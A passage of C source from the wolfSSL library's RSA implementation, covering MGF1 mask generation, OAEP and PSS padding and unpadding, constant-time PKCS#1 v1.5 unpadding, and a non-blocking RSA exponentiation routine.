RsaMGF1(enum wc_HashType hType, byte* seed, word32 seedSz, byte* out, word32 outSz, void* heap) { byte* tmp; /* needs to be large enough for seed size plus counter(4) */ byte tmpA[WC_MAX_DIGEST_SIZE + 4]; byte tmpF; /* 1 if dynamic memory needs freed */ word32 tmpSz; int hLen; int ret; word32 counter; word32 idx; hLen = wc_HashGetDigestSize(hType); counter = 0; idx = 0; (void)heap; /* check error return of wc_HashGetDigestSize */ if (hLen < 0) { return hLen; } /* if tmp is not large enough than use some dynamic memory */ if ((seedSz + 4) > sizeof(tmpA) || (word32)hLen > sizeof(tmpA)) { /* find largest amount of memory needed which will be the max of * hLen and (seedSz + 4) since tmp is used to store the hash digest */ tmpSz = ((seedSz + 4) > (word32)hLen)? seedSz + 4: (word32)hLen; tmp = (byte*)XMALLOC(tmpSz, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return MEMORY_E; } tmpF = 1; /* make sure to free memory when done */ } else { /* use array on the stack */ tmpSz = sizeof(tmpA); tmp = tmpA; tmpF = 0; /* no need to free memory at end */ } do { int i = 0; XMEMCPY(tmp, seed, seedSz); /* counter to byte array appended to tmp */ tmp[seedSz] = (byte)((counter >> 24) & 0xFF); tmp[seedSz + 1] = (byte)((counter >> 16) & 0xFF); tmp[seedSz + 2] = (byte)((counter >> 8) & 0xFF); tmp[seedSz + 3] = (byte)((counter) & 0xFF); /* hash and append to existing output */ if ((ret = wc_Hash(hType, tmp, (seedSz + 4), tmp, tmpSz)) != 0) { /* check for if dynamic memory was needed, then free */ if (tmpF) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); } return ret; } for (i = 0; i < hLen && idx < outSz; i++) { out[idx++] = tmp[i]; } counter++; } while (idx < outSz); /* check for if dynamic memory was needed, then free */ if (tmpF) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); } return 0; } #endif /* SHA2 Hashes */ /* helper function to direct which mask generation function is used switched on type input */ static int RsaMGF(int type, byte* seed, word32 seedSz, byte* out, word32 outSz, void* heap) { int ret; switch(type) { #ifndef NO_SHA case WC_MGF1SHA1: ret = RsaMGF1(WC_HASH_TYPE_SHA, seed, seedSz, out, outSz, heap); break; #endif #ifndef NO_SHA256 #ifdef WOLFSSL_SHA224 case WC_MGF1SHA224: ret = RsaMGF1(WC_HASH_TYPE_SHA224, seed, seedSz, out, outSz, heap); break; #endif case WC_MGF1SHA256: ret = RsaMGF1(WC_HASH_TYPE_SHA256, seed, seedSz, out, outSz, heap); break; #endif #ifdef WOLFSSL_SHA384 case WC_MGF1SHA384: ret = RsaMGF1(WC_HASH_TYPE_SHA384, seed, seedSz, out, outSz, heap); break; #endif #ifdef WOLFSSL_SHA512 case WC_MGF1SHA512: ret = RsaMGF1(WC_HASH_TYPE_SHA512, seed, seedSz, out, outSz, heap); break; #endif default: WOLFSSL_MSG("Unknown MGF type: check build options"); ret = BAD_FUNC_ARG; } /* in case of default avoid unused warning */ (void)seed; (void)seedSz; (void)out; (void)outSz; (void)heap; return ret; } #endif /* !WC_NO_RSA_OAEP || WC_RSA_PSS */ /* Padding */ #ifndef WOLFSSL_RSA_VERIFY_ONLY #ifndef WC_NO_RNG #ifndef WC_NO_RSA_OAEP static int RsaPad_OAEP(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, void* heap) { int ret; int hLen; int psLen; int i; word32 idx; byte* dbMask; #ifdef WOLFSSL_SMALL_STACK byte* lHash = NULL; byte* seed = NULL; #else /* must be large enough to contain largest hash */ byte lHash[WC_MAX_DIGEST_SIZE]; byte seed[ WC_MAX_DIGEST_SIZE]; #endif /* no label is allowed, but catch if no label provided and length > 0 */ if (optLabel == NULL && labelLen > 0) { return BUFFER_E; } /* limit of label is the same as limit of hash function which is massive */ hLen = wc_HashGetDigestSize(hType); if (hLen < 0) { return hLen; } #ifdef WOLFSSL_SMALL_STACK lHash = (byte*)XMALLOC(hLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (lHash == NULL) { return MEMORY_E; } seed = (byte*)XMALLOC(hLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (seed == NULL) { XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); return MEMORY_E; } #else /* hLen should never be larger than lHash since size is max digest size, but check before blindly calling wc_Hash */ if ((word32)hLen > sizeof(lHash)) { WOLFSSL_MSG("OAEP lHash to small for digest!!"); return MEMORY_E; } #endif if ((ret = wc_Hash(hType, optLabel, labelLen, lHash, hLen)) != 0) { WOLFSSL_MSG("OAEP hash type possibly not supported or lHash to small"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* handles check of location for idx as well as psLen, cast to int to check for pkcsBlockLen(k) - 2 * hLen - 2 being negative This check is similar to decryption where k > 2 * hLen + 2 as msg size approaches 0. In decryption if k is less than or equal -- then there is no possible room for msg. k = RSA key size hLen = hash digest size -- will always be >= 0 at this point */ if ((word32)(2 * hLen + 2) > pkcsBlockLen) { WOLFSSL_MSG("OAEP pad error hash to big for RSA key size"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BAD_FUNC_ARG; } if (inputLen > (pkcsBlockLen - 2 * hLen - 2)) { WOLFSSL_MSG("OAEP pad error message too long"); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BAD_FUNC_ARG; } /* concatenate lHash || PS || 0x01 || msg */ idx = pkcsBlockLen - 1 - inputLen; psLen = pkcsBlockLen - inputLen - 2 * hLen - 2; if (pkcsBlockLen < inputLen) { /*make sure not writing over end of buffer */ #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return BUFFER_E; } XMEMCPY(pkcsBlock + (pkcsBlockLen - inputLen), input, inputLen); pkcsBlock[idx--] = 0x01; /* PS and M separator */ while (psLen > 0 && idx > 0) { pkcsBlock[idx--] = 0x00; psLen--; } idx = idx - hLen + 1; XMEMCPY(pkcsBlock + idx, lHash, hLen); /* generate random seed */ if ((ret = wc_RNG_GenerateBlock(rng, seed, hLen)) != 0) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* create maskedDB from dbMask */ dbMask = (byte*)XMALLOC(pkcsBlockLen - hLen - 1, heap, DYNAMIC_TYPE_RSA); if (dbMask == NULL) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return MEMORY_E; } XMEMSET(dbMask, 0, pkcsBlockLen - hLen - 1); /* help static analyzer */ ret = RsaMGF(mgf, seed, hLen, dbMask, pkcsBlockLen - hLen - 1, heap); if (ret != 0) { XFREE(dbMask, heap, DYNAMIC_TYPE_RSA); #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } i = 0; idx = hLen + 1; while (idx < pkcsBlockLen && (word32)i < (pkcsBlockLen - hLen -1)) { pkcsBlock[idx] = dbMask[i++] ^ pkcsBlock[idx]; idx++; } XFREE(dbMask, heap, DYNAMIC_TYPE_RSA); /* create maskedSeed from seedMask */ idx = 0; pkcsBlock[idx++] = 0x00; /* create seedMask inline */ if ((ret = RsaMGF(mgf, pkcsBlock + hLen + 1, pkcsBlockLen - hLen - 1, pkcsBlock + 1, hLen, heap)) != 0) { #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif return ret; } /* xor created seedMask with seed to make maskedSeed */ i = 0; while (idx < (word32)(hLen + 1) && i < hLen) { pkcsBlock[idx] = pkcsBlock[idx] ^ seed[i++]; idx++; } #ifdef WOLFSSL_SMALL_STACK XFREE(lHash, heap, DYNAMIC_TYPE_RSA_BUFFER); XFREE(seed, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif (void)padValue; return 0; } #endif /* !WC_NO_RSA_OAEP */ #ifdef WC_RSA_PSS /* 0x00 .. 0x00 0x01 | Salt | Gen Hash | 0xbc * XOR MGF over all bytes down to end of Salt * Gen Hash = HASH(8 * 0x00 | Message Hash | Salt) * * input Digest of the message. * inputLen Length of digest. * pkcsBlock Buffer to write to. * pkcsBlockLen Length of buffer to write to. * rng Random number generator (for salt). * htype Hash function to use. * mgf Mask generation function. * saltLen Length of salt to put in padding. * bits Length of key in bits. * heap Used for dynamic memory allocation. * returns 0 on success, PSS_SALTLEN_E when the salt length is invalid * and other negative values on error. */ static int RsaPad_PSS(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, WC_RNG* rng, enum wc_HashType hType, int mgf, int saltLen, int bits, void* heap) { int ret = 0; int hLen, i, o, maskLen, hiBits; byte* m; byte* s; #if defined(WOLFSSL_NO_MALLOC) && !defined(WOLFSSL_STATIC_MEMORY) byte msg[RSA_MAX_SIZE/8 + RSA_PSS_PAD_SZ]; #else byte* msg = NULL; #endif #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) byte* salt; #else byte salt[WC_MAX_DIGEST_SIZE]; #endif #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) if (pkcsBlockLen > RSA_MAX_SIZE/8) { return MEMORY_E; } #endif hLen = wc_HashGetDigestSize(hType); if (hLen < 0) return hLen; if ((int)inputLen != hLen) { return BAD_FUNC_ARG; } hiBits = (bits - 1) & 0x7; if (hiBits == 0) { /* Per RFC8017, set the leftmost 8emLen - emBits bits of the leftmost octet in DB to zero. */ *(pkcsBlock++) = 0; pkcsBlockLen--; } if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) { saltLen = RSA_PSS_SALT_MAX_SZ; } #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if (saltLen > hLen) { return PSS_SALTLEN_E; } #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) { return PSS_SALTLEN_E; } #else else if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { saltLen = (int)pkcsBlockLen - hLen - 2; if (saltLen < 0) { return PSS_SALTLEN_E; } } else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) { return PSS_SALTLEN_E; } #endif if ((int)pkcsBlockLen - hLen < saltLen + 2) { return PSS_SALTLEN_E; } maskLen = pkcsBlockLen - 1 - hLen; #if defined(WOLFSSL_PSS_LONG_SALT) || defined(WOLFSSL_PSS_SALT_LEN_DISCOVER) #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) msg = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inputLen + saltLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (msg == NULL) { return MEMORY_E; } #endif salt = s = m = msg; XMEMSET(m, 0, RSA_PSS_PAD_SZ); m += RSA_PSS_PAD_SZ; XMEMCPY(m, input, inputLen); m += inputLen; o = (int)(m - s); if (saltLen > 0) { ret = wc_RNG_GenerateBlock(rng, m, saltLen); if (ret == 0) { m += saltLen; } } #else if (pkcsBlockLen < RSA_PSS_PAD_SZ + inputLen + saltLen) { #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) msg = (byte*)XMALLOC(RSA_PSS_PAD_SZ + inputLen + saltLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (msg == NULL) { return MEMORY_E; } #endif m = msg; } else { m = pkcsBlock; } s = m; XMEMSET(m, 0, RSA_PSS_PAD_SZ); m += RSA_PSS_PAD_SZ; XMEMCPY(m, input, inputLen); m += inputLen; o = 0; if (saltLen > 0) { ret = wc_RNG_GenerateBlock(rng, salt, saltLen); if (ret == 0) { XMEMCPY(m, salt, saltLen); m += saltLen; } } #endif if (ret == 0) { /* Put Hash at end of pkcsBlock - 1 */ ret = wc_Hash(hType, s, (word32)(m - s), pkcsBlock + maskLen, hLen); } if (ret == 0) { /* Set the last eight bits or trailer field to the octet 0xbc */ pkcsBlock[pkcsBlockLen - 1] = RSA_PSS_PAD_TERM; ret = RsaMGF(mgf, pkcsBlock + maskLen, hLen, pkcsBlock, maskLen, heap); } if (ret == 0) { /* Clear the first high bit when "8emLen - emBits" is non-zero. where emBits = n modBits - 1 */ if (hiBits) pkcsBlock[0] &= (1 << hiBits) - 1; m = pkcsBlock + maskLen - saltLen - 1; *(m++) ^= 0x01; for (i = 0; i < saltLen; i++) { m[i] ^= salt[o + i]; } } #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) if (msg != NULL) { XFREE(msg, heap, DYNAMIC_TYPE_RSA_BUFFER); } #endif return ret; } #endif /* WC_RSA_PSS */ #endif /* !WC_NO_RNG */ static int RsaPad(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng) { if (input == NULL || inputLen == 0 || pkcsBlock == NULL || pkcsBlockLen == 0) { return BAD_FUNC_ARG; } if (pkcsBlockLen - RSA_MIN_PAD_SZ < inputLen) { WOLFSSL_MSG("RsaPad error, invalid length"); return RSA_PAD_E; } pkcsBlock[0] = 0x0; /* set first byte to zero and advance */ pkcsBlock++; pkcsBlockLen--; pkcsBlock[0] = padValue; /* insert padValue */ if (padValue == RSA_BLOCK_TYPE_1) { /* pad with 0xff bytes */ XMEMSET(&pkcsBlock[1], 0xFF, pkcsBlockLen - inputLen - 2); } else { #if !defined(WOLFSSL_RSA_VERIFY_ONLY) && !defined(WC_NO_RNG) /* pad with non-zero random bytes */ word32 padLen, i; int ret; padLen = pkcsBlockLen - inputLen - 1; ret = wc_RNG_GenerateBlock(rng, &pkcsBlock[1], padLen); if (ret != 0) { return ret; } /* remove zeros */ for (i = 1; i < padLen; i++) { if (pkcsBlock[i] == 0) pkcsBlock[i] = 0x01; } #else (void)rng; return RSA_WRONG_TYPE_E; #endif } pkcsBlock[pkcsBlockLen-inputLen-1] = 0; /* separator */ XMEMCPY(pkcsBlock+pkcsBlockLen-inputLen, input, inputLen); return 0; } /* helper function to direct which padding is used */ int wc_RsaPad_ex(const byte* input, word32 inputLen, byte* pkcsBlock, word32 pkcsBlockLen, byte padValue, WC_RNG* rng, int padType, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, int saltLen, int bits, void* heap) { int ret; switch (padType) { case WC_RSA_PKCSV15_PAD: /*WOLFSSL_MSG("wolfSSL Using RSA PKCSV15 padding");*/ ret = RsaPad(input, inputLen, pkcsBlock, pkcsBlockLen, padValue, rng); break; #ifndef WC_NO_RNG #ifndef WC_NO_RSA_OAEP case WC_RSA_OAEP_PAD: WOLFSSL_MSG("wolfSSL Using RSA OAEP padding"); ret = RsaPad_OAEP(input, inputLen, pkcsBlock, pkcsBlockLen, padValue, rng, hType, mgf, optLabel, labelLen, heap); break; #endif #ifdef WC_RSA_PSS case WC_RSA_PSS_PAD: WOLFSSL_MSG("wolfSSL Using RSA PSS padding"); ret = RsaPad_PSS(input, inputLen, pkcsBlock, pkcsBlockLen, rng, hType, mgf, saltLen, bits, heap); break; #endif #endif /* !WC_NO_RNG */ #ifdef WC_RSA_NO_PADDING case WC_RSA_NO_PAD: WOLFSSL_MSG("wolfSSL Using NO padding"); /* In the case of no padding being used check that input is exactly * the RSA key length */ if (bits <= 0 || inputLen != ((word32)bits/WOLFSSL_BIT_SIZE)) { WOLFSSL_MSG("Bad input size"); ret = RSA_PAD_E; } else { XMEMCPY(pkcsBlock, input, inputLen); ret = 0; } break; #endif default: WOLFSSL_MSG("Unknown RSA Pad Type"); ret = RSA_PAD_E; } /* silence warning if not used with padding scheme */ (void)input; (void)inputLen; (void)pkcsBlock; (void)pkcsBlockLen; (void)padValue; (void)rng; (void)padType; (void)hType; (void)mgf; (void)optLabel; (void)labelLen; (void)saltLen; (void)bits; (void)heap; return ret; } #endif /* WOLFSSL_RSA_VERIFY_ONLY */ /* UnPadding */ #ifndef WC_NO_RSA_OAEP /* UnPad plaintext, set start to *output, return length of plaintext, * < 0 on error */ static int RsaUnPad_OAEP(byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, void* heap) { int hLen; int ret; byte h[WC_MAX_DIGEST_SIZE]; /* max digest size */ byte* tmp; word32 idx; /* no label is allowed, but catch if no label provided and length > 0 */ if (optLabel == NULL && labelLen > 0) { return BUFFER_E; } hLen = wc_HashGetDigestSize(hType); if ((hLen < 0) || (pkcsBlockLen < (2 * (word32)hLen + 2))) { return BAD_FUNC_ARG; } tmp = (byte*)XMALLOC(pkcsBlockLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return MEMORY_E; } XMEMSET(tmp, 0, pkcsBlockLen); /* find seedMask value */ if ((ret = RsaMGF(mgf, (byte*)(pkcsBlock + (hLen + 1)), pkcsBlockLen - hLen - 1, tmp, hLen, heap)) != 0) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); return ret; } /* xor seedMask value with maskedSeed to get seed value */ for (idx = 0; idx < (word32)hLen; idx++) { tmp[idx] = tmp[idx] ^ pkcsBlock[1 + idx]; } /* get dbMask value */ if ((ret = RsaMGF(mgf, tmp, hLen, tmp + hLen, pkcsBlockLen - hLen - 1, heap)) != 0) { XFREE(tmp, NULL, DYNAMIC_TYPE_RSA_BUFFER); return ret; } /* get DB value by doing maskedDB xor dbMask */ for (idx = 0; idx < (pkcsBlockLen - hLen - 1); idx++) { pkcsBlock[hLen + 1 + idx] = pkcsBlock[hLen + 1 + idx] ^ tmp[idx + hLen]; } /* done with use of tmp buffer */ XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); /* advance idx to index of PS and msg separator, account for PS size of 0*/ idx = hLen + 1 + hLen; while (idx < pkcsBlockLen && pkcsBlock[idx] == 0) {idx++;} /* create hash of label for comparison with hash sent */ if ((ret = wc_Hash(hType, optLabel, labelLen, h, hLen)) != 0) { return ret; } /* say no to chosen ciphertext attack. Comparison of lHash, Y, and separator value needs to all happen in constant time. Attackers should not be able to get error condition from the timing of these checks. */ ret = 0; ret |= ConstantCompare(pkcsBlock + hLen + 1, h, hLen); ret += pkcsBlock[idx++] ^ 0x01; /* separator value is 0x01 */ ret += pkcsBlock[0] ^ 0x00; /* Y, the first value, should be 0 */ /* Return 0 data length on error. */ idx = ctMaskSelInt(ctMaskEq(ret, 0), idx, pkcsBlockLen); /* adjust pointer to correct location in array and return size of M */ *output = (byte*)(pkcsBlock + idx); return pkcsBlockLen - idx; } #endif /* WC_NO_RSA_OAEP */ #ifdef WC_RSA_PSS /* 0x00 .. 0x00 0x01 | Salt | Gen Hash | 0xbc * MGF over all bytes down to end of Salt * * pkcsBlock Buffer holding decrypted data. * pkcsBlockLen Length of buffer. * htype Hash function to use. * mgf Mask generation function. * saltLen Length of salt to put in padding. * bits Length of key in bits. * heap Used for dynamic memory allocation. * returns the sum of salt length and SHA-256 digest size on success. * Otherwise, PSS_SALTLEN_E for an incorrect salt length, * WC_KEY_SIZE_E for an incorrect encoded message (EM) size and other negative values on error. */ static int RsaUnPad_PSS(byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, enum wc_HashType hType, int mgf, int saltLen, int bits, void* heap) { int ret; byte* tmp; int hLen, i, maskLen; #ifdef WOLFSSL_SHA512 int orig_bits = bits; #endif #if defined(WOLFSSL_NO_MALLOC) && !defined(WOLFSSL_STATIC_MEMORY) byte tmp_buf[RSA_MAX_SIZE/8]; tmp = tmp_buf; if (pkcsBlockLen > RSA_MAX_SIZE/8) { return MEMORY_E; } #endif hLen = wc_HashGetDigestSize(hType); if (hLen < 0) return hLen; bits = (bits - 1) & 0x7; if ((pkcsBlock[0] & (0xff << bits)) != 0) { return BAD_PADDING_E; } if (bits == 0) { pkcsBlock++; pkcsBlockLen--; } maskLen = (int)pkcsBlockLen - 1 - hLen; if (maskLen < 0) { WOLFSSL_MSG("RsaUnPad_PSS: Hash too large"); return WC_KEY_SIZE_E; } if (saltLen == RSA_PSS_SALT_LEN_DEFAULT) { saltLen = hLen; #ifdef WOLFSSL_SHA512 /* See FIPS 186-4 section 5.5 item (e). */ if (orig_bits == 1024 && hLen == WC_SHA512_DIGEST_SIZE) saltLen = RSA_PSS_SALT_MAX_SZ; #endif } #ifndef WOLFSSL_PSS_LONG_SALT else if (saltLen > hLen) return PSS_SALTLEN_E; #endif #ifndef WOLFSSL_PSS_SALT_LEN_DISCOVER else if (saltLen < RSA_PSS_SALT_LEN_DEFAULT) return PSS_SALTLEN_E; if (maskLen < saltLen + 1) { return PSS_SALTLEN_E; } #else else if (saltLen < RSA_PSS_SALT_LEN_DISCOVER) return PSS_SALTLEN_E; if (saltLen != RSA_PSS_SALT_LEN_DISCOVER && maskLen < saltLen + 1) { return WC_KEY_SIZE_E; } #endif if (pkcsBlock[pkcsBlockLen - 1] != RSA_PSS_PAD_TERM) { WOLFSSL_MSG("RsaUnPad_PSS: Padding Term Error"); return BAD_PADDING_E; } #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) tmp = (byte*)XMALLOC(maskLen, heap, DYNAMIC_TYPE_RSA_BUFFER); if (tmp == NULL) { return MEMORY_E; } #endif if ((ret = RsaMGF(mgf, pkcsBlock + maskLen, hLen, tmp, maskLen, heap)) != 0) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); return ret; } tmp[0] &= (1 << bits) - 1; pkcsBlock[0] &= (1 << bits) - 1; #ifdef WOLFSSL_PSS_SALT_LEN_DISCOVER if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { for (i = 0; i < maskLen - 1; i++) { if (tmp[i] != pkcsBlock[i]) { break; } } if (tmp[i] != (pkcsBlock[i] ^ 0x01)) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error Match"); return PSS_SALTLEN_RECOVER_E; } saltLen = maskLen - (i + 1); } else #endif { for (i = 0; i < maskLen - 1 - saltLen; i++) { if (tmp[i] != pkcsBlock[i]) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error Match"); return PSS_SALTLEN_E; } } if (tmp[i] != (pkcsBlock[i] ^ 0x01)) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error End"); return PSS_SALTLEN_E; } } for (i++; i < maskLen; i++) pkcsBlock[i] ^= tmp[i]; #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif *output = pkcsBlock + maskLen - saltLen; return saltLen + hLen; } #endif /* UnPad plaintext, set start to *output, return length of plaintext, * < 0 on error */ static int RsaUnPad(const byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, byte padValue) { int ret = BAD_FUNC_ARG; word16 i; #ifndef WOLFSSL_RSA_VERIFY_ONLY byte invalid = 0; #endif if (output == NULL || pkcsBlockLen < 2 || pkcsBlockLen > 0xFFFF) { return BAD_FUNC_ARG; } if (padValue == RSA_BLOCK_TYPE_1) { /* First byte must be 0x00 and Second byte, block type, 0x01 */ if (pkcsBlock[0] != 0 || pkcsBlock[1] != RSA_BLOCK_TYPE_1) { WOLFSSL_MSG("RsaUnPad error, invalid formatting"); return RSA_PAD_E; } /* check the padding until we find the separator */ for (i = 2; i < pkcsBlockLen && pkcsBlock[i++] == 0xFF; ) { } /* Minimum of 11 bytes of pre-message data and must have separator. */ if (i < RSA_MIN_PAD_SZ || pkcsBlock[i-1] != 0) { WOLFSSL_MSG("RsaUnPad error, bad formatting"); return RSA_PAD_E; } *output = (byte *)(pkcsBlock + i); ret = pkcsBlockLen - i; } #ifndef WOLFSSL_RSA_VERIFY_ONLY else { word16 j; word16 pastSep = 0; /* Decrypted with private key - unpad must be constant time. */ for (i = 0, j = 2; j < pkcsBlockLen; j++) { /* Update i if not passed the separator and at separator. */ i |= (~pastSep) & ctMask16Eq(pkcsBlock[j], 0x00) & (j + 1); pastSep |= ctMask16Eq(pkcsBlock[j], 0x00); } /* Minimum of 11 bytes of pre-message data - including leading 0x00. */ invalid |= ctMaskLT(i, RSA_MIN_PAD_SZ); /* Must have seen separator. */ invalid |= ~pastSep; /* First byte must be 0x00. */ invalid |= ctMaskNotEq(pkcsBlock[0], 0x00); /* Check against expected block type: padValue */ invalid |= ctMaskNotEq(pkcsBlock[1], padValue); *output = (byte *)(pkcsBlock + i); ret = ((int)~invalid) & (pkcsBlockLen - i); } #endif return ret; } /* helper function to direct unpadding * * bits is the key modulus size in bits */ int wc_RsaUnPad_ex(byte* pkcsBlock, word32 pkcsBlockLen, byte** out, byte padValue, int padType, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, int saltLen, int bits, void* heap) { int ret; switch (padType) { case WC_RSA_PKCSV15_PAD: /*WOLFSSL_MSG("wolfSSL Using RSA PKCSV15 un-padding");*/ ret = RsaUnPad(pkcsBlock, pkcsBlockLen, out, padValue); break; #ifndef WC_NO_RSA_OAEP case WC_RSA_OAEP_PAD: WOLFSSL_MSG("wolfSSL Using RSA OAEP un-padding"); ret = RsaUnPad_OAEP((byte*)pkcsBlock, pkcsBlockLen, out, hType, mgf, optLabel, labelLen, heap); break; #endif #ifdef WC_RSA_PSS case WC_RSA_PSS_PAD: WOLFSSL_MSG("wolfSSL Using RSA PSS un-padding"); ret = RsaUnPad_PSS((byte*)pkcsBlock, pkcsBlockLen, out, hType, mgf, saltLen, bits, heap); break; #endif #ifdef WC_RSA_NO_PADDING case WC_RSA_NO_PAD: WOLFSSL_MSG("wolfSSL Using NO un-padding"); /* In the case of no padding being used check that input is exactly * the RSA key length */ if (bits <= 0 || pkcsBlockLen != ((word32)(bits+WOLFSSL_BIT_SIZE-1)/WOLFSSL_BIT_SIZE)) { WOLFSSL_MSG("Bad input size"); ret = RSA_PAD_E; } else { if (out != NULL) { *out = pkcsBlock; } ret = pkcsBlockLen; } break; #endif /* WC_RSA_NO_PADDING */ default: WOLFSSL_MSG("Unknown RSA UnPad Type"); ret = RSA_PAD_E; } /* silence warning if not used with padding scheme */ (void)hType; (void)mgf; (void)optLabel; (void)labelLen; (void)saltLen; (void)bits; (void)heap; return ret; } #ifdef WC_RSA_NONBLOCK static int wc_RsaFunctionNonBlock(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key) { int ret = 0; word32 keyLen, len; if (key == NULL || key->nb == NULL) { return BAD_FUNC_ARG; } if (key->nb->exptmod.state == TFM_EXPTMOD_NB_INIT) { if (mp_init(&key->nb->tmp) != MP_OKAY) { ret = MP_INIT_E; } if (ret == 0) { if (mp_read_unsigned_bin(&key->nb->tmp, (byte*)in, inLen) != MP_OKAY) { ret = MP_READ_E; } } } if (ret == 0) { switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: ret = fp_exptmod_nb(&key->nb->exptmod, &key->nb->tmp, &key->d, &key->n, &key->nb->tmp); if (ret == FP_WOULDBLOCK) return ret; if (ret != MP_OKAY) ret = MP_EXPTMOD_E; break; case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: ret = fp_exptmod_nb(&key->nb->exptmod, &key->nb->tmp, &key->e, &key->n, &key->nb->tmp); if (ret == FP_WOULDBLOCK) return ret; if (ret != MP_OKAY) ret = MP_EXPTMOD_E; break; default: ret = RSA_WRONG_TYPE_E; break; } } if (ret == 0) { keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) ret = RSA_BUFFER_E; } if (ret == 0) { len = mp_unsigned_bin_size(&key->nb->tmp); /* pad front w/ zeros to match key length */ while (len < keyLen) { *out++ = 0x00; len++; } *outLen = keyLen; /* convert */ if (mp_to_unsigned_bin(&key->nb->tmp, out) != MP_OKAY) { ret = MP_TO_E; } } mp_clear(&key->nb->tmp); return ret; } #endif /* WC_RSA_NONBLOCK */ #ifdef WOLFSSL_XILINX_CRYPT /* * Xilinx hardened crypto acceleration. * * Returns 0 on success and negative values on error. */ static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; word32 keyLen; (void)rng; keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) { WOLFSSL_MSG("Output buffer is not big enough"); return BAD_FUNC_ARG; } if (inLen != keyLen) { WOLFSSL_MSG("Expected that inLen equals RSA key length"); return BAD_FUNC_ARG; } switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WOLFSSL_XILINX_CRYPTO_OLD /* Currently public exponent is loaded by default. * In SDK 2017.1 